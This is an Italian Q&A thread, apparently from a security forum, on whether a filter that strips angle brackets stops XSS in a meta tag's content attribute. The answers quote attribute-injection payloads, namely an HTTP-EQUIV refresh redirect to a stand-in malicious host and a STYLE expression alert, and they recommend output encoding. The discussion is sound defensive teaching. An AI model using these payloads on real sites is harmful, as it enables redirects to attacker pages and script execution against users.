XSS nel meta tag HTML

4

Esiste un'applicazione web che contiene una funzione di ricerca. Quando cerco aaaaaaaaxss ottengo questo:

<meta property="the:property" content="100 Results for aaaaaaaaxss (Page 1)" />

Rimuove i caratteri < e > ma non i doppi apici. Tuttavia, poiché non riesco a eliminare l'altro input, non posso usare 1;javascript:alert(1) o qualcosa di simile.

Questo filtro è sicuro?

    
posta 735Tesla 01.06.2014 - 02:42
fonte

2 risposte

5

Sono assolutamente d'accordo con thexacre sull'inefficacia della lista nera - e non solo perché la risposta fa riferimento al mio sito web :).

Non essere in grado di sbarazzarsi della porzione di contenuto iniziale può certamente limitare l'opportunità di successo dell'XSS tramite un meta tag, sebbene non sia del tutto impossibile. Ad esempio, se la porzione iniziale cambia mai per iniziare con una parola non numerica come "Nessun risultato per ..." potresti essere in grado di iniettare qualcosa del tipo:

;url=hxxp://www.maliciousxss.com" HTTP-EQUIV="refresh" blah=" che, in base alla tua descrizione, dovrebbe generare un meta tag simile a:

<meta property="the:property" content="No results for;url=hxxp://www.maliciousxss.com" HTTP-EQUIV="refresh" blah=" (Page 1)" />

L'ho provato con successo in FF 29.0.1 ma non credo che funzionerebbe in nessun altro browser moderno.

Se il testo iniziale inizia sempre con un numero, puoi provare qualcosa come

" STYLE="width:expression(alert('XSS'));" blah=" che di nuovo basato sul tuo esempio dovrebbe generare un meta tag simile a:

<meta property="the:property" content="100 results for" STYLE="width:expression(alert('XSS'));" blah=" (Page 1)" />

Questo funzionerebbe solo in IE 7 o precedenti, quindi è ancora più limitato.

Ho dovuto fare alcune ipotesi sul comportamento del sito e sulla convalida degli input aggiuntivi, quindi questi particolari esempi potrebbero non funzionare, ma spero di aver contribuito a sostenere l'affermazione di thexacre che la lista nera è raramente un approccio completamente efficace. La whitelist (quando possibile) è migliore ma la codifica dell'output è sempre un dovere ogni volta che i dati generati dall'utente vengono incorporati nella risposta del server.

    
risposta data 03.06.2014 - 20:52
fonte
3

In cima alla mia testa e senza vedere la pagina in particolare non riesco a pensare a un vettore di attacco, ma la "lista nera" è raramente una tecnica di sicurezza completamente efficace, quindi scommetto che non è sicuro.

Ho trovato questo articolo ad esempio che indirizza in modo specifico i meta tag: link

Come descritto in questo articolo, è possibile inserire un HTTP-EQUIV="refresh" e un URL codificato in base 64 per reindirizzare la pagina.

    
risposta data 01.06.2014 - 03:07
fonte

Leggi altre domande sui tag